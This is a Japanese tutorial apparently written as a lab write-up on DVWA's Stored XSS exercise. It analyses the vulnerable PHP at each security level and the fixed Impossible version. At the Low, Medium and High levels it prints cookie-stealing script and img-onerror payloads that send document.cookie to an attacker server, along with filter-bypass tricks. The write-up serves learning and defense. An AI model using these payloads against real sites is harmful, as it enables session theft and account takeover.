Stored XSSとは
Stored XSS (蓄積型クロスサイトスクリプティング) とは、攻撃者がWebアプリケーションに対して悪意のあるスクリプトを送信し、それがデータベースやファイルシステムなどに保存(Stored)されることで発生する脆弱性です。
Reflected XSS(反射型)が、悪意あるURLをクリックしたその瞬間だけ発生するのに対し、Stored XSSはそのページを閲覧したすべてのユーザーに対して攻撃が実行されるため、被害範囲が広く、非常に危険度が高い脆弱性と言えます。
今回は脆弱性診断学習用アプリ「DVWA」を使用し、レベル別(Low/Medium/High/Impossible)に攻撃手法と対策コードを解析していきます。
環境構築については【DVWA】DockerでDVWA環境を構築してコマンドインジェクションを試すをご覧ください。 攻撃者サーバコードについては【DVWA】コードから学ぶDOM Based XSSとPythonでの検証(Low/Medium/High)をご覧ください。
Level: Low
挙動の確認

ソースコード解析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
問題点
コードを見ると mysqli_real_escape_string 関数が使われています。これは SQLインジェクションを防ぐためにシングルクォート(')などをエスケープするものですが、XSSの原因となるHTMLタグ(<, >)はエスケープしません。
データベースには安全に保存されますが、ブラウザに表示される際に <script> タグがそのまま出力されてしまうため、XSSが発生します。
Cookie奪取実験
単純なアラートだけでなく、Pythonで簡易サーバーを立ててCookie(セッションID)を窃取してみます。
Message欄に以下のコードを入力します。文章の長さによる制限は開発者ツールで書き換えます。
<script>var img = new Image(); img.src = "http://attackerserver:65000/cookie=" + document.cookie;</script>
攻撃者のサーバーログに、被害者のCookie情報が送信されたことが確認できました。

Level: Medium
ソースコード解析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// ...略
}
?>
問題点と回避策
Message欄には htmlspecialchars が適用されており、タグが無害化されるため攻撃できません。
一方、Name欄は str_replace( '<script>', '', $name ); という処理になっています。これは「<script> という文字列があったら削除する」というブラックリスト方式の対策です。
PHPの str_replace は大文字と小文字を区別するため、すべて大文字の <SCRIPT> や、混在させた <ScRiPt> などは削除対象にならず、すり抜けてしまいます。
Cookie奪取
Name欄に以下のコードを入力します。ここでも文字数制限は開発者ツールで書き換えます。
<SCRIPT>new Image().src='[http://192.168.0.108:65000/cookie='+document.cookie](http://192.168.0.108:65000/cookie='+document.cookie);</SCRIPT>
大文字にすることでフィルタを回避し、スクリプトが実行されました。


Level: High
ソースコード解析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// ...略
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
// ...略
}
?>
問題点と回避策
正規表現 preg_replace を使い、大文字小文字の区別なく(/i フラグ)、かつ間に文字が挟まっても script という単語が含まれるタグを検知しようとしています。
しかし、JavaScriptを実行できるのは <script> タグだけではありません。
<img> タグや <body> タグなどのイベントハンドラ(onerror や onload)を利用することで、scriptという文字列を使わずにJSを実行可能です。これは「特定の悪い言葉だけを禁止する」というブラックリスト方式の限界を示しています。
Cookie奪取
今回は <img> タグを使用します。画像の読み込みに失敗させて onerror イベントを発火させます。
<img src=x onerror=this.src='//attackerserver:65000/?'+document.cookie>


成功しました。
Level: Impossible
ソースコード解析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message ); // ★ここが重要
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name ); // ★ここが重要
// Update database
// PDOを使用したプリペアドステートメント
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
解説:なぜこれで防げるのか
Impossibleレベルでは、脆弱性が完全に修正されています。ポイントは以下の3点です。
- htmlspecialchars関数の完全適用
messageとnameの両方に対しhtmlspecialcharsが適用されています。これにより、<や>などの特殊文字が<>といったHTMLエンティティに変換されます。ブラウザはこれを「タグ」として解釈せず、「ただの文字」として表示するため、スクリプトは絶対に実行されません。 - Anti-CSRF Token
checkTokenにより、正規の画面遷移を経由しないリクエスト(CSRF攻撃など)を拒否しています。 - PDO (Prepared Statements)
データベース操作にPDOを使用しており、SQLインジェクションも防がれています(Lowレベルの
mysqli_real_escape_stringよりも確実でモダンな方法です)。
まとめ
DVWAのStored XSSを通して、以下のことを学びました。
- ブラックリスト方式は不完全である
「
<script>を消す」「特定の文字を消す」といった対策(Medium/High)は、大文字小文字の変更や、別のタグ(<img>など)の使用によって容易に回避されてしまいます。 - サニタイズ(エスケープ)が最強の対策
XSSを防ぐためには、入力値を検証するだけでなく、出力する直前に
htmlspecialcharsを用いて、意味を持つ記号を無害化することが鉄則です。 - 防御の場所を間違えない SQLインジェクション対策(DBへの入力時)とXSS対策(HTMLへの出力時)は別物です。それぞれのフェーズで適切な処理を行う必要があります。
実際にPythonサーバーでCookieを受け取る実験を行うことで、Stored XSSの脅威と対策の重要性を肌で感じることができました。